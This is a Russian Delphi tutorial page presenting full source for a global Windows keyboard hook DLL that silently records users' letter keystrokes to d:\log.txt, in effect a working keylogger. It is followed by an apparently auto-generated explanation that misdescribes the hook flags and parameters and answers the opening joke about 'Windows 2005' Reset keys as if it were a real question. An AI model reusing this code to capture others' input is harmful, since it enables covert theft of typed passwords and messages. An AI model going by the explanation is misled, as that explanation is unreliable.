Карта сайта Kansoftware
НОВОСТИУСЛУГИРЕШЕНИЯКОНТАКТЫ
KANSoftWare

Глобальный хук на клаву

Delphi , ОС и Железо , Клавиши

Глобальный хук на клаву

-Как изменится клавиатура для Windows 2005?
-На ней появиться правый и левый Reset.


library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
    KeyArray: array[0..19] of char;
    KeyArrayPtr: integer;
    CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
  if code< 0 then
   begin
     result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
     Exit;
   end;
  if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
    begin
      KeyArray[KeyArrayPtr]:=char(wParam);
      KeyArrayPtr:=KeyArrayPtr+1;
      if KeyArrayPtr> 19 then
       begin
        for i:=0 to 19 do
        begin
          Assignfile(CurFile,'d:\log.txt');
          if fileexists('d:\log.txt')=false then rewrite(CurFile)
          else Append(CurFile);
          write(Curfile, KeyArray[i]);
          closefile(curfile);
        end;
        KeyArrayPtr:=0;
       end;
    end;
    CallNextHookEx(CurrentHook,code,wParam,lparam);
    result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
  CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
  KeyArrayptr:=0;
end;
procedure unhook;
begin
  UnhookWindowshookEx(CurrentHook);
end;

exports
 SetupGlobalKeyBoardHook, UnHook;
begin
end.

Программа на Delphi, которая реализует глобальный hook для клавиатуры в Windows, предназначенный для захвата и записи нажатий пользователем.

Вот разбивка кода:

  1. Директива library Hook указывает, что это библиотека, предоставляющая набор функций.
  2. Строка uses Windows, SysUtils; импортирует модули Windows и SysUtils, которые обеспечивают различные константы, типы и процедуры для работы с Windows и Delphi-специфичными функциональными возможностями.
  3. Константа KF_UP_MY = $40000000; определяет флаг KF_UP, который используется для указания, что hook должен только захватывать нажатия клавиш из текущего потока (т.е., потока, владеющего окном).
  4. Переменные var CurrentHook: HHOOK; KeyArray: array[0..19] of char; KeyArrayPtr: integer; CurFile: text; объявлены следующим образом:
    • CurrentHook: экземпляр типа HHOOK, представляющий handle hook.
    • KeyArray: массив из 20 символов, который будет хранить зафиксированные нажатия клавиш.
    • KeyArrayPtr: целочисленная переменная, указывающая на текущий элемент в массиве KeyArray.
    • CurFile: текстовая переменная, используемая для записи зафиксированных нажатий клавиш в файл.
  5. Функция function GlobalKeyBoardHook(code: integer; wParam: integer; lParam: integer): longword; stdcall; объявлена как процедура hook, которая будет вызываться при каждом событии клавиатуры. Эта функция принимает три параметра:
    • code: целочисленная переменная, представляющая тип события (например, WM_KEYDOWN, WM_KEYUP и т.д.).
    • wParam: целочисленная переменная, представляющая код виртуальной клавиши.
    • lParam: целочисленная переменная, представляющая скан-код.
  6. Процедура hook проверяет, является ли событие нажатием клавиши, и если да, добавляет символ, представленный параметром wParam, в массив KeyArray. Если массив полон, то он записывает содержимое массива в файл, указанный в переменной CurFile.
  7. Процедура SetupGlobalKeyBoardHook; настраивает глобальный hook клавиатуры, вызывая функцию SetWindowsHookEx с параметрами WH_KEYBOARD и указателем на процедуру GlobalKeyBoardHook.
  8. Процедура unhook; отключает глобальный hook клавиатуры, вызывая функцию UnhookWindowsHookEx.

В отношении изменения раскладки клавиш в Windows 2005, стоит отметить, что код не является специфичным для какой-либо конкретной версии Windows. Однако, если вы имеете в виду Windows XP (который был выпущен приблизительно в то же время, что и Windows Server 2003), по умолчанию раскладка клавиш в Windows XP - это "US"-раскладка, которая включает в себя клавиши Ctrl, Alt и Shift. Код будет работать с этой раскладкой.

В отношении появления правой и левой кнопок Reset на клавиатуре, невозможно добавить пользовательские кнопки к физической клавиатуре. Однако, если вы имеете в виду виртуальную клавиатуру Windows, то можно настроить ее поведение с помощью API Windows или третьепартийных библиотек.

В статье описывается создание глобального хука на клаву в Windows с помощью языка программирования Delphi, который позволяет изменить поведение клавиатуры и записывать вводимые символы в файл.


Комментарии и вопросы

Получайте свежие новости и обновления по Object Pascal, Delphi и Lazarus прямо в свой смартфон. Подпишитесь на наш Telegram-канал delphi_kansoftware и будьте в курсе последних тенденций в разработке под Linux, Windows, Android и iOS




Материалы статей собраны из открытых источников, владелец сайта не претендует на авторство. Там где авторство установить не удалось, материал подаётся без имени автора. В случае если Вы считаете, что Ваши права нарушены, пожалуйста, свяжитесь с владельцем сайта.


:: Главная :: Клавиши ::


реклама


©KANSoftWare (разработка программного обеспечения, создание программ, создание интерактивных сайтов), 2007
Top.Mail.Ru

Время компиляции файла: 2024-12-22 20:14:06
2025-06-16 16:25:12/0.0033309459686279/0